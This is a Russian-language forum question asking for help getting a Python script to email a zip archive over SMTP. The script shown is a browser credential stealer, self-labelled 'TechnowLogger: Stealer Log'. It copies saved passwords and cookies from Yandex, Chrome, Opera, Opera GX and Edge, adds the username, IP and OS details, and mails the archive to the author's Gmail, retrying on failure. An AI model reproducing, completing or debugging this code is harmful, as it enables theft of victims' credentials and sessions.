Не отправляется архив по smtp
Пишу скрипт, требуется отправка генерируемого zip файла по smtp. Проблема неизвестно в чем, по какой-то причине не отпрвляется. Я не знаю нормально smtplib и поэтому не могу понять по какой причине не отправляется архив. Прошу помочь мне так как знаний чтобы сам себе помочь не имею, а это очень нужно. Заранее спасибо!
def send_mail_with_attachment(self):
# =======проверка подключения к интернету====
try: # Проверяем подключение
host = socket.gethostbyname("www.google.com") # Получаем hostname
s = socket.create_connection((host, 80),
5) # Создаём подключение, если получается создать - вызываем s.close()
# закрывая подключение, пропускаем выполнение кода из except и выполняем основной код. Если нет интернета
# вызывается except где у нас sys.exit() завершающий выполнение кода.
s.close() # Закрываем подключение
except Exception: # Нет подключения
sys.exit() # Завершаем работу всего скрипта
# ===========================================
USER_NAME = getpass.getuser()
dirr = os.getcwd() # А эта хуита дает переменную дирректории файла
start_time = time.time()
file_name = os.path.basename(sys.argv[0]) # задаем переменную названию файла
# ==========================================================================
# ==========Папка репорт==========
try:
os.mkdir('report') # Создаем папочку репорт
except:
pass
# ================================
# ==================================Задаем переменные асинхронизации==========================================
async def waiter():
task1 = asyncio.create_task(
create('C:/Users/%s/AppData/Local/Yandex/YandexBrowser/User Data/Default', '%s/report/Yandex',
'C:/Users/%s/AppData/Local/Yandex/YandexBrowser/User Data/Default/Ya Passman Data',
'%s/report/Yandex/Ya Passman Data',
'C:/Users/%s/AppData/Local/Yandex/YandexBrowser/User Data/Default/Network/Cookies',
'%s/report/Yandex/Cookies', )) # Яндекс
task2 = asyncio.create_task(
create('C:/Users/%s/AppData/Local/Google/Chrome/User Data/Default', '%s/report/Chrome',
'C:/Users/%s/AppData/Local/Google/Chrome/User Data/Default/Login Data',
'%s/report/Chrome/Login Data',
'C:/Users/%s/AppData/Local/Google/Chrome/User Data/Default/Network',
'%s/report/Chrome/Cookies')) # Хром
task3 = asyncio.create_task(
create('C:/Users/%s/AppData/Roaming/Opera Software/Opera GX Stable', '%s/report/OperaGX',
'C:/Users/%s/AppData/Roaming/Opera Software/Opera GX Stable/Login Data',
'%s/report/OperaGX/Login Data',
'C:/Users/%s/AppData/Roaming/Opera Software/Opera GX Stable/Network/Cookies',
'%s/report/OperaGX/Cookies')) # Опера жс
task4 = asyncio.create_task(
create('C:/Users/%s/AppData/Roaming/Opera Software/Opera Stable', '%s/report/Opera',
'C:/Users/%s/AppData/Roaming/Opera Software/Opera Stable/Login Data',
'%s/report/Opera/Login Data',
'C:/Users/%s/AppData/Roaming/Opera Software/Opera Stable/Network/Cookies',
'%s/report/Opera/Cookies')) # Опера
task5 = asyncio.create_task(
create('C:/Users/%s/AppData/Local/Microsoft/Edge/User Data/Default', '%s/report/MicrosoftEdge',
'C:/Users/%s/AppData/Local/Microsoft/Edge/User Data/Default/Login Data',
'%s/report/MicrosoftEdge/Login Data',
'C:/Users/%s/AppData/Local/Microsoft/Edge/User Data/Default/Network/Cookies',
'%s/report/MicrosoftEdge/Cookies')) # Майкрасофт едге
await task1 # Закрываем таск с яндексом
await task2 # Закрываем таск с хромом
await task3 # Закрываем таск с оперой жс
await task4 # Закрываем таск с оперой
await task5 # Закрываем таск с майкрасофтом
# ==============================================================================================================================
# ===========Шаблон копирования файлов===========
async def create(path, report, aa, bb, cc, dd):
try:
if os.path.exists(path % USER_NAME): # проверка папки с файлами для стиллинга
os.mkdir(report % dirr)
a = aa % USER_NAME # Пароли
b = bb % dirr # Пароли на отправку
c = cc % USER_NAME # Куки
d = dd % dirr # Куки на отправку
try:
shutil.copyfile(a, b).format() # Пароли копирование
except:
pass
try:
shutil.copyfile(c, d).format() # Куки копирование
except:
pass
else:
pass
except:
pass
asyncio.run(waiter())
# =================================================================
# ===============Ништяки===============
ip = socket.gethostbyname(socket.gethostname()) # IP-адрес системы
ost = platform.uname() # Название операционной системы
dok = f'%s/{USER_NAME}[{ip}].zip' % dirr # Переменная файла репорт + ништяки
# ======================================================================================
# =======================================Инфо=================================
file = open("info.txt", "w", encoding='utf-8')
file.write(f'Имя пользователя - {USER_NAME}\nip - {ip}\nОперационная система - {ost}') # Запись в файл
file.close()
info = '%s/info.txt' % dirr
rep = '%s/report' % dirr
try:
shutil.copy(info, rep)
except:
pass
# ============================================================================
# ======Create zipfile and upload=================================
pytb = '%s/report' % dirr
shutil.make_archive(f'{USER_NAME}[{ip}]', "zip", pytb)
shutil.rmtree('report') # Удаляем папку репорт
os.remove('info.txt')
# =================================================================
try:
msg = MIMEMultipart()
msg['From'] = self.email
msg['To'] = self.email
msg['Subject'] = "TechnowLogger: Stealer Log"
text = "\nReport From:\n\n" + self.system_info
msg.attach(MIMEText(text))
files = [f'{USER_NAME}[{ip}].zip', ]
for f in files or []:
j = file(f)
attachedfile = MIMEText(j.read())
attachedfile.add_header(
'Content-Disposition', 'attachment', filename=f)
msg.attach(attachedfile)
smtp = smtplib.SMTP(host="smtp.gmail.com", port=587)
smtp.starttls()
smtp.login(self.email, self.password)
smtp.sendmail(self.email, self.email, msg.as_string())
smtp.close()
os.chdir(tempfile.gettempdir())
os.remove(dok)
except Exception as e:
time.sleep(15)
self.send_mail_with_attachment()